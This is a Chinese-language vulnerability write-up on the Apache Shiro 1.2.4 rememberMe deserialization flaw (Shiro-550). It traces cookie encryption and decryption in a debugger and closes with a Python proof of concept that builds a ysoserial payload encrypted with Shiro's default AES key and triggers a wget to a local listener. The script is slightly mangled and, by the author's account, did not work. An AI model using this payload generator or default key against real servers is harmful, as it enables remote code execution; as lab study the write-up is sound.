0X01 shiro-550反序列漏洞

最近审计到一套CMS,发现存在shiro反序列化漏洞,但之前没有分析复现过,审计的时候比较吃力。所以有了本篇文章,迟早要学,不如就现在。

环境搭建

下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

注意:主目录是shiro-root-1.2.4/samples/web

修改 shiro-root-1.2.4/samples/web 目录下的 pox.xml,添加如下内容

<!--  需要设置编译的版本 -->
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
.....
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>

重新编译后,配置 Tomcat

image-20220125221237106

image-20220125221333686

启动

image-20220122043501998

环境配置成功

踩坑点:

  • toolchain 报错

    在maven的con目录下配置toolchain.xml

    <toolchain>
    <type>jdk</type>
    <provides>
    <version>1.8</version> //版本
    <vendor>sun</vendor>
    </provides>
    <configuration>
    <jdkHome>/Library/Java/JavaVirtualMachines/jdk1.8.0_201.jdk/</jdkHome>//jdk目录
    </configuration>
    </toolchain>
  • 一定要注意 jdk 运行的版本 是否是对应的。

漏洞分析

勾选 Remember Me

image-20220123180544023

抓包获取 Remember 值

image-20220123180635611

Ln9fYDGXXhJiXa5nqLEHLvK+cK/azlnBclTgfKih5vLK+x90blH6SDrmTNMB8RN1Ri8Vh1TEojg8rGK4Fa7KvakkQzYYHpWHznKBJ1Q71qRdqeDAKCu5HglqvLO7XDEZKimqeh7gXY8i80hBp/AQ0fwSXiPWr91P1XgCct0MN/ciit3U957ZMzcWN53AQXm9sk1i7FVPdMs2QhFgZKRMNxQsNypj/G29Vqnp7zxw3r5+49emVJJZpF/wEUEmsIUr3rrXLZMVZW/N9iLVbg36KkncAh8O6b6wuoJahHt2JBXxCTxHmVxBfxMg4MLBIp+wMVdnMj3vZ8fGt6sC/Al/Eva1mXaOhtzfTMq5V1vGMgLU1FKBrMXjDHNLUvMaagxj7SmySV7dijNtvelAN9RBX2w5TPE4A9uOcZM6FYMg/0PTpxRAoEuHSQ02hrdJpDHqYLMwY+1hGQP/A8gtdAHk756IfkXIXVodI5F8TF+NS8bqj4XClmwu5T/kmFKfylZf

加密过程

在入口点打上断点,分析一下加密过程

入口点文件 /shiro-root-1.2.4/core/src/main/java/org/apache/shiro/mgt/DefaultSecurityManager.java

image-20220124193135036

跟进 onSuccessfulLogin 方法,此方法获取

- subject   单个用户的状态、安全认证、授权等
- token     用户名、密码及其他信息
- info      用户信息

image-20220124194345162

forgetIdentity 处理了 subject 对象,跟进 forgetIdentity 方法

image-20220124200142687

此处 getcookie 并调用了 removeFrom 方法,继续跟进

image-20220124200306504

跟进 addCookieHeader 这里其实就是 set-cookie,在 response 头部添加 set-cookie: rememberMe=deleteMe

image-20220124200419088

image-20220124201237728

至此 forgetIdentity(subject) 方法跟完了,在 subject 对象中获取 requestresponse 值,并设置了set-cookie 的值。

回到 onSuccessfulLogin 继续向下走, isRememberMe 判断我们是否勾选了 rememberMe

image-20220124201934856

跟进 rememberIdentity

image-20220124202911884

convertPrincipalsToBytes 处理用户名,还调用了 rememberSerializedIdentity 我们先跟 convertPrincipalsToBytes

image-20220124203537843

serialize 继续跟进

image-20220124203646766

可以看见此处是对用户名进行了序列化

image-20220124203822492

跳回 convertPrincipalsToBytes

image-20220124205334640

getCipherService 是 shiro 提供的 AES 加密算法

getEncryptionCipherKey 获取秘钥的 key,查看此方法

image-20220124210625813

由于没找到调用 key 的点,反向跟踪了一下

src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java

image-20220124211904643

AbstractRememberMeManager 构造方法中调用了

image-20220124212054036

setCipherKey 中调用了 setEncryptionCipherKey 方法设置 key

image-20220124212130069

最后 getEncryptionCipherKey 获取到 key

image-20220124212945605

返回加密后的 bytes 流数据

image-20220124213043708

image-20220124213135115

我们跳回 rememberIdentity

image-20220124204612470

bytes 的值是被序列化后的用户名, rememberSerializedIdentity 处理了 subject 值和 bytes

image-20220124213303895

可以看见使用 base64 加密了数据,并进行了保存,至此,我们的加密流程算是走完了。

解密过程

断点

/shiro-root-1.2.4/core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java

image-20220125100058627

getRememberedSerializedIdentity 处理登录请求,跟进

image-20220125102630863

cookie 中获取 base64加密值

image-20220125103325194

解密 base64

image-20220125104251857

image-20220125150412007

下一步 我们跳回 getRememberedPrincipals, 跟进 convertBytesToPrincipals方法

image-20220125151532045

这里的 decrypt 是解密,这里和加密一样,都是获取AES加密算法及秘钥。

image-20220125151719124

image-20220125152109776

serialized 返回的序列化的字符串 bytes 值image-20220125152406292

rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAhpbmlSZWFsbXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAABdAAEcm9vdHh4AHcBAXEAfgAFeA==

解密后

image-20220125153042314

下一步 跳回到 convertBytesToPrincipals 执行反序列化操作

image-20220125153304103

跟进 deserialize ,可以看见 调用了readObject 执行了反序列化操作 得到用户名

image-20220125153356220

这里的 readObject 并不是原生的 ObjectInputStream 而是重写的 ObjectInputStream,最后调用过程从
cookie 中获取 Remember 值 ——> base64 解密 ——> AES 解密 ——> 反序列化

中间有一些关于java的加密解密的算法 IV 等 由于没学过,不太了解,但是构造 POC 需要关于这一块的知识

[java安全之安全加密算法][https://www.cnblogs.com/nice0e3/p/13894507.html]

漏洞复现

poc: 这个poc 没成功….

# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('wget http://localhost:8083')
with open("./payload.cookie", "w") as fpw:

print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)fa

本地监听:

python -m SimpleHTTPServer 8083

image-20220125193025242

使用工具打了一波,显示成功了,但是手工生成的时候链子有点问题,后续得详细分析下一下 shiro 的各种CC链

image-20220125203923125